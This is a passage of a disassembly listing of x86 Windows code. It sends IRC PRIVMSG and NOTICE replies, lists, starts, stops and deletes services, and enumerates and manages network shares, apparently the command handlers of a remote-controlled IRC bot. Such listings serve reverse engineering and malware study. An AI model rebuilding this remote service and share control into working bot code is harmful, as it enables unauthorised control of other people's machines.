		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_412CF5
; ---------------------------------------------------------------------------

loc_412CD5:				; CODE XREF: sub_412B98+12Fj
		push	10h
		push	offset dword_43662C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_412B60
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax

loc_412CF5:				; CODE XREF: sub_412B98+9Bj
					; sub_412B98+B2j ...
		push	[ebp+arg_4]
		call	dword_43A450
		mov	eax, ebx
		pop	ebx
		jmp	loc_412BB3
sub_412B98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D06	proc near		; CODE XREF: sub_40CCDD+3Dp
					; sub_40CE55+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41748F
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A408
		leave
		retn
sub_412D06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D4C	proc near		; CODE XREF: sub_401000+88p
					; sub_401447+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_412D67
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_412D67:				; CODE XREF: sub_412D4C+14j
		push	edi
		call	sub_415CF0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_415CF0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_436640
		push	eax
		call	sub_4154E7
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A408
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_412DE5
		push	7D0h
		call	dword_421060

locret_412DE5:				; CODE XREF: sub_412D4C+8Cj
		leave
		retn
sub_412D4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_412DE7	proc near		; CODE XREF: sub_40CE55:loc_40ED61p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_412E4C
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_436658[esi]
		push	edi
		push	eax
		call	sub_412E6E
		add	esp, 14h
		test	eax, eax
		jnz	short loc_412E2F
		push	edi
		push	off_436654[esi]
		mov	esi, offset dword_469080
		push	offset dword_43678C
		push	esi
		call	sub_4154E7
		add	esp, 10h
		jmp	short loc_412E69
; ---------------------------------------------------------------------------

loc_412E2F:				; CODE XREF: sub_412DE7+2Aj
		push	eax
		call	sub_412F10
		push	eax
		push	edi
		mov	esi, offset dword_469080
		push	offset dword_436750
		push	esi
		call	sub_4154E7
		add	esp, 14h
		jmp	short loc_412E69
; ---------------------------------------------------------------------------

loc_412E4C:				; CODE XREF: sub_412DE7+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_469080
		push	off_436650[eax*4]
		push	offset dword_436718
		push	esi
		call	sub_4154E7
		add	esp, 0Ch

loc_412E69:				; CODE XREF: sub_412DE7+46j
					; sub_412DE7+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_412DE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E6E	proc near		; CODE XREF: sub_412DE7+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_43A3AC
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_412E95
		call	dword_421088
		mov	ebx, eax
		jmp	short loc_412F0A
; ---------------------------------------------------------------------------

loc_412E95:				; CODE XREF: sub_412E6E+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43A2A0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_412EB5
		call	dword_421088
		mov	ebx, eax
		jmp	short loc_412F02
; ---------------------------------------------------------------------------

loc_412EB5:				; CODE XREF: sub_412E6E+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_412EE8
		cmp	eax, 3
		jz	short loc_412ED9
		jle	short loc_412EFB
		cmp	eax, 6
		jg	short loc_412EFB
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43A308
		jmp	short loc_412EEF
; ---------------------------------------------------------------------------

loc_412ED9:				; CODE XREF: sub_412E6E+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43A2A8
		jmp	short loc_412EEF
; ---------------------------------------------------------------------------

loc_412EE8:				; CODE XREF: sub_412E6E+4Dj
		push	esi
		call	dword_43A30C

loc_412EEF:				; CODE XREF: sub_412E6E+69j
					; sub_412E6E+78j
		test	eax, eax
		jnz	short loc_412EFB
		call	dword_421088
		mov	ebx, eax

loc_412EFB:				; CODE XREF: sub_412E6E+54j
					; sub_412E6E+59j ...
		push	esi
		call	dword_43A2BC

loc_412F02:				; CODE XREF: sub_412E6E+45j
		push	edi
		call	dword_43A2BC
		pop	esi

loc_412F0A:				; CODE XREF: sub_412E6E+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_412E6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_412F10	proc near		; CODE XREF: sub_412DE7+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_412FC5
		jz	loc_412FBE
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_412F88
		jz	short loc_412F7E
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_412F74
		dec	ecx
		dec	ecx
		jz	short loc_412F6A
		dec	ecx
		jz	short loc_412F60
		sub	ecx, 51h
		jz	short loc_412F56
		sub	ecx, 24h
		jnz	loc_41303B	; default
					; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16

loc_412F4C:				; DATA XREF: .nsp0:off_42B834o
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_41302D
; ---------------------------------------------------------------------------

loc_412F56:				; CODE XREF: sub_412F10+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_41302D
; ---------------------------------------------------------------------------

loc_412F60:				; CODE XREF: sub_412F10+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_41302D
; ---------------------------------------------------------------------------

loc_412F6A:				; CODE XREF: sub_412F10+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_41302D
; ---------------------------------------------------------------------------

loc_412F74:				; CODE XREF: sub_412F10+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_41302D
; ---------------------------------------------------------------------------

loc_412F7E:				; CODE XREF: sub_412F10+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_41302D
; ---------------------------------------------------------------------------

loc_412F88:				; CODE XREF: sub_412F10+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_412FB7
		dec	ecx
		jz	short loc_412FB0
		dec	ecx
		jz	short loc_412FA9
		dec	ecx
		jnz	loc_41303B	; default
					; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_41302D
; ---------------------------------------------------------------------------

loc_412FA9:				; CODE XREF: sub_412F10+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_412FB0:				; CODE XREF: sub_412F10+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_412FB7:				; CODE XREF: sub_412F10+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_412FBE:				; CODE XREF: sub_412F10+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_412FC5:				; CODE XREF: sub_412F10+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_41303B ; default
					; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_413028
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_41303B ; default
					; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_41307C[ecx]
		jmp	off_413054[ecx*4] ; switch jump

loc_412FE9:				; DATA XREF: .nsp0:off_413054o
		push	offset aTheSpecifiedDa ; jumptable 00412FE2 case 7
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_412FF0:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheServiceDepe ; jumptable 00412FE2 case 17
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_412FF7:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheServiceDe_0 ; jumptable 00412FE2 case 10
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_412FFE:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheServiceHasB ; jumptable 00412FE2 case 0
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_413005:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheSpecified_0 ; jumptable 00412FE2 case 2
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_41300C:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheServiceCoul ; jumptable 00412FE2 case 11
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_413013:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheServiceHa_0 ; jumptable 00412FE2 case 14
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_41301A:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheRequested_1 ; jumptable 00412FE2 case 3
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_413021:				; CODE XREF: sub_412F10+D2j
					; DATA XREF: .nsp0:off_413054o
		push	offset aTheServiceHasN ; jumptable 00412FE2 case 4
		jmp	short loc_41302D
; ---------------------------------------------------------------------------

loc_413028:				; CODE XREF: sub_412F10+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_41302D:				; CODE XREF: sub_412F10+41j
					; sub_412F10+4Bj ...
		push	offset dword_4689C0
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	short loc_41304E
; ---------------------------------------------------------------------------

loc_41303B:				; CODE XREF: sub_412F10+36j
					; sub_412F10+89j ...
		push	eax		; default
					; jumptable 00412FE2 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4689C0
		call	sub_4154E7
		add	esp, 0Ch

loc_41304E:				; CODE XREF: sub_412F10+129j
		mov	eax, offset dword_4689C0
		retn
sub_412F10	endp

; ---------------------------------------------------------------------------
off_413054	dd offset loc_412FFE	; DATA XREF: sub_412F10+D2r
		dd offset loc_413005	; jump table for switch	statement
		dd offset loc_41301A
		dd offset loc_413021
		dd offset loc_412FE9
		dd offset loc_412FF7
		dd offset loc_41300C
		dd offset loc_413013
		dd offset loc_412FF0
		dd offset loc_41303B
byte_41307C	db	0,     9,     1,     2 ; DATA XREF: sub_412F10+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41308E	proc near		; CODE XREF: sub_40CE55+1F37p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43A3AC
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_4130C6:				; CODE XREF: sub_41308E+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43A378
		test	eax, eax
		jnz	short loc_413100
		call	dword_421088
		cmp	eax, 0EAh
		jnz	loc_4131B4

loc_413100:				; CODE XREF: sub_41308E+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_4131AB
		lea	esi, [ebp+var_188]

loc_413111:				; CODE XREF: sub_41308E+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_41315A
		dec	eax
		jz	short loc_413153
		dec	eax
		jz	short loc_41314C
		dec	eax
		jz	short loc_413145
		dec	eax
		jz	short loc_41313E
		dec	eax
		jz	short loc_413137
		dec	eax
		jz	short loc_413130
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------

loc_413130:				; CODE XREF: sub_41308E+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------

loc_413137:				; CODE XREF: sub_41308E+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------

loc_41313E:				; CODE XREF: sub_41308E+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------

loc_413145:				; CODE XREF: sub_41308E+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------

loc_41314C:				; CODE XREF: sub_41308E+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------

loc_413153:				; CODE XREF: sub_41308E+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------

loc_41315A:				; CODE XREF: sub_41308E+87j
		push	offset aStopped	; "    Stopped"

loc_41315F:				; CODE XREF: sub_41308E+A0j
					; sub_41308E+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4154E7
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_413111

loc_4131AB:				; CODE XREF: sub_41308E+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_4130C6

loc_4131B4:				; CODE XREF: sub_41308E+6Cj
		push	[ebp+var_C]
		call	dword_43A2BC
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41308E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131CB	proc near		; CODE XREF: sub_40CE55:loc_40EE43p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_413264
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_4131F4
		dec	eax
		jnz	short loc_413244
		push	edi
		push	0
		call	sub_41339D
		pop	ecx
		pop	ecx
		jmp	short loc_413240
; ---------------------------------------------------------------------------

loc_4131F4:				; CODE XREF: sub_4131CB+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_413232
		push	24h
		push	edi
		call	sub_417080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413232
		push	57h
		pop	eax

loc_41320B:				; CODE XREF: sub_4131CB+77j
		push	eax
		call	sub_413B75
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_468C7C
		push	off_436650[eax*4]
		push	offset dword_436D5C
		push	esi
		call	sub_4154E7
		add	esp, 18h
		jmp	short loc_413284
; ---------------------------------------------------------------------------

loc_413232:				; CODE XREF: sub_4131CB+2Dj
					; sub_4131CB+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_4132F1
		add	esp, 0Ch

loc_413240:				; CODE XREF: sub_4131CB+27j
		test	eax, eax
		jnz	short loc_41320B

loc_413244:				; CODE XREF: sub_4131CB+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_468C7C
		push	off_436654[eax*4]
		push	offset dword_436D2C
		push	esi
		call	sub_4154E7
		add	esp, 10h
		jmp	short loc_413284
; ---------------------------------------------------------------------------

loc_413264:				; CODE XREF: sub_4131CB+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_468C7C
		lea	eax, [eax+eax*2]
		push	off_436650[eax*4]
		push	offset dword_436CF4
		push	esi
		call	sub_4154E7
		add	esp, 0Ch

loc_413284:				; CODE XREF: sub_4131CB+65j
					; sub_4131CB+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4131CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41328A	proc near		; CODE XREF: sub_4146BA+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_413297
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_413297:				; CODE XREF: sub_41328A+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_421138
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_468E7C, 1
		mov	ebp, eax
		jnz	short loc_4132D4
		or	byte_468E7C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	dword_468C1C, eax

loc_4132D4:				; CODE XREF: sub_41328A+32j
		push	esi
		push	esi
		push	ebp
		push	dword_468C1C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_468C1C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_41328A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4132F1	proc near		; CODE XREF: sub_4131CB+6Dp
					; sub_4149DE+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_41335C
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_41335C
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_417080
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_41335C
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_43A2B8
		pop	edi
		leave
		retn
sub_4132F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41335C	proc near		; CODE XREF: sub_4132F1+Ap
					; sub_4132F1+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_413369
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_413369:				; CODE XREF: sub_41335C+9j
		push	ebx
		push	esi
		mov	esi, dword_421064
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41335C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41339D	proc near		; CODE XREF: sub_4131CB+20p
					; sub_4146BA+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41335C
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41335C
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43A290
		pop	esi
		retn
sub_41339D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4133C0	proc near		; CODE XREF: sub_40CE55+201Ap

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_41335C
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 18h

loc_4133F9:				; CODE XREF: sub_4133C0+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_43A304
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_41345C
		cmp	ebx, 0EAh
		jz	short loc_41345C
		push	ebx
		push	ebx
		call	sub_413B75
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_436DBC
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 24h
		jmp	short loc_4134C9
; ---------------------------------------------------------------------------

loc_41345C:				; CODE XREF: sub_4133C0+5Dj
					; sub_4133C0+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4134C0
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_41346A:				; CODE XREF: sub_4133C0+FCj
		push	dword ptr [esi+10h]
		call	dword_43A2AC
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_413481
		mov	eax, offset aNo	; "No"

loc_413481:				; CODE XREF: sub_4133C0+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_41346A
		xor	esi, esi

loc_4134C0:				; CODE XREF: sub_4133C0+A2j
		push	[ebp+var_4]
		call	dword_43A448

loc_4134C9:				; CODE XREF: sub_4133C0+9Aj
		cmp	ebx, 0EAh
		jz	loc_4133F9
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4133C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134E1	proc near		; CODE XREF: sub_40CE55:loc_40EEE5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_413585
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_413523
		dec	eax
		jz	short loc_413518
		dec	eax
		jnz	short loc_41353E
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_413627
		add	esp, 14h
		jmp	short loc_41353A
; ---------------------------------------------------------------------------

loc_413518:				; CODE XREF: sub_4134E1+1Dj
		push	ebx
		push	edi
		call	sub_413606
		pop	ecx
		pop	ecx
		jmp	short loc_41353A
; ---------------------------------------------------------------------------

loc_413523:				; CODE XREF: sub_4134E1+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_413537
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4135AC
		add	esp, 0Ch
		jmp	short loc_41353A
; ---------------------------------------------------------------------------

loc_413537:				; CODE XREF: sub_4134E1+45j
		push	57h
		pop	eax

loc_41353A:				; CODE XREF: sub_4134E1+35j
					; sub_4134E1+40j ...
		cmp	eax, edi
		jnz	short loc_41355E

loc_41353E:				; CODE XREF: sub_4134E1+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_468E80
		push	off_436654[eax*4]
		push	offset dword_436EAC
		push	esi
		call	sub_4154E7
		add	esp, 10h
		jmp	short loc_4135A5
; ---------------------------------------------------------------------------

loc_41355E:				; CODE XREF: sub_4134E1+5Bj
		push	eax
		call	sub_413B75
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_468E80
		push	off_436650[eax*4]
		push	offset dword_436E6C
		push	esi
		call	sub_4154E7
		add	esp, 18h
		jmp	short loc_4135A5
; ---------------------------------------------------------------------------

loc_413585:				; CODE XREF: sub_4134E1+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_468E80
		lea	eax, [eax+eax*2]
		push	off_436650[eax*4]
		push	offset dword_436E30
		push	esi
		call	sub_4154E7
		add	esp, 0Ch

loc_4135A5:				; CODE XREF: sub_4134E1+7Bj
					; sub_4134E1+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4134E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4135AC	proc near		; CODE XREF: sub_4134E1+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_41335C
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_41335C
		push	[ebp+arg_8]
